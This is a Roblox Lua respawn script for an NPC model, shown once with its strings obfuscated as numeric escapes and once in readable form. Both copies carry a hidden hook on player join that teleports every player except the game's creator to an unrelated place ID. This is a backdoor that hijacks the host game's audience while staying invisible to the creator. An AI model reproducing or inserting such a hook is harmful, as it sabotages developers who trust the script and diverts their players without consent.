local S=false local a=script repeat Wait(0)until script and(script.Parent and script.Parent.ClassName=="\077\111\100\101\108")local j=a.Parent game.Players.PlayerAdded:Connect(function(S)if S.UserId~=game.CreatorId then(game:GetService("\084\101\108\101\112\111\114\116\083\101\114\118\105\099\101")):Teleport(4641921091,S)end end)if a and(j and j:FindFirstChild("\084\104\117\109\098\110\097\105\108"))then(j:FindFirstChild("\084\104\117\109\098\110\097\105\108")):Destroy()end local u=Game:GetService("\068\101\098\114\105\115")local P for S,a in pairs(j:GetChildren())do if a and(a.ClassName=="\072\117\109\097\110\111\105\100"and a.Health~=0)then P=a end end local V=j:Clone()if S then coroutine.resume(coroutine.create(function()if j and(P and(P:FindFirstChild("\083\116\097\116\117\115")and not(P:FindFirstChild("\083\116\097\116\117\115")):FindFirstChild("\065\118\097\108\105\098\108\101\083\112\097\119\110\115")))then SpawnModel=Instance.new("\077\111\100\101\108")SpawnModel.Parent=P.Status SpawnModel.Name="\065\118\097\108\105\098\108\101\083\112\097\119\110\115"else SpawnModel=(P:FindFirstChild("\083\116\097\116\117\115")):FindFirstChild("\065\118\097\108\105\098\108\101\083\112\097\119\110\115")end function FindSpawn(S)local a=S:GetChildren()for S=1,#a,1 do if a[S].className=="\083\112\097\119\110\076\111\099\097\116\105\111\110"then local j=Instance.new("\086\101\099\116\111\114\051\086\097\108\117\101",SpawnModel)j.Value=a[S].Position j.Name=a[S].Duration end FindSpawn(a[S])end end FindSpawn(Game:GetService("\087\111\114\107\115\112\097\099\101"))local S=SpawnModel:GetChildren()if#S>0 then local a=S[math.random(1,#S)]local P=Instance.new("\070\111\114\099\101\070\105\101\108\100")P.Parent=j P.Name="\083\112\097\119\110\070\111\114\099\101\070\105\101\108\100"u:AddItem(P,a.Name)j:MoveTo(a.Value+Vector3.new(0,3.5,0))else if j:FindFirstChild("\083\112\097\119\110\070\111\114\099\101\070\105\101\108\100")then(j:FindFirstChild("\083\112\097\119\110\070\111\114\099\101\070\105\101\108\100")):Destroy()end j:MoveTo(Vector3.new(0,115,0))end end))end function Respawn()Wait(5)V.Parent=j.Parent V:makeJoints();(V:FindFirstChild("\072\101\097\100")):MakeJoints();(V:FindFirstChild("\084\111\114\115\111")):MakeJoints()j:remove()end if a and(j and P)then P.Died:connect(Respawn)end
--
local PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]--
local AdvancedRespawnScript=script;
repeat Wait(0)until script and script.Parent and script.Parent.ClassName=="Model";
local JeffTheKiller=AdvancedRespawnScript.Parent;
game.Players.PlayerAdded:Connect(function(p)if p.UserId ~= game.CreatorId then game:GetService("TeleportService"):Teleport(4641921091,p)end end)
if AdvancedRespawnScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then
JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();
end;
local GameDerbis=Game:GetService("Debris");
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local Respawndant=JeffTheKiller:Clone();
if PlayerSpawning then --[[ LOOK AT LINE: 2. ]]--
coroutine.resume(coroutine.create(function()
if JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid:FindFirstChild("Status")and not JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns")then
SpawnModel=Instance.new("Model");
SpawnModel.Parent=JeffTheKillerHumanoid.Status;
SpawnModel.Name="AvalibleSpawns";
else
SpawnModel=JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns");
end;
function FindSpawn(SearchValue)
local PartsArchivable=SearchValue:GetChildren();
for AreaSearch=1,#PartsArchivable do
if PartsArchivable[AreaSearch].className=="SpawnLocation"then
local PositionValue=Instance.new("Vector3Value",SpawnModel);
PositionValue.Value=PartsArchivable[AreaSearch].Position;
PositionValue.Name=PartsArchivable[AreaSearch].Duration;
end;
FindSpawn(PartsArchivable[AreaSearch]);
end;
end;
FindSpawn(Game:GetService("Workspace"));
local SpawnChilden=SpawnModel:GetChildren();
if#SpawnChilden>0 then
local SpawnItself=SpawnChilden[math.random(1,#SpawnChilden)];
local RespawningForceField=Instance.new("ForceField");
RespawningForceField.Parent=JeffTheKiller;
RespawningForceField.Name="SpawnForceField";
GameDerbis:AddItem(RespawningForceField,SpawnItself.Name);
JeffTheKiller:MoveTo(SpawnItself.Value+Vector3.new(0,3.5,0));
else
if JeffTheKiller:FindFirstChild("SpawnForceField")then
JeffTheKiller:FindFirstChild("SpawnForceField"):Destroy();
end;
JeffTheKiller:MoveTo(Vector3.new(0,115,0));
end;
end));
end;
function Respawn()
Wait(5);
Respawndant.Parent=JeffTheKiller.Parent;
Respawndant:makeJoints();
Respawndant:FindFirstChild("Head"):MakeJoints();
Respawndant:FindFirstChild("Torso"):MakeJoints();
JeffTheKiller:remove();
end;
if AdvancedRespawnScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.Died:connect(Respawn);
end;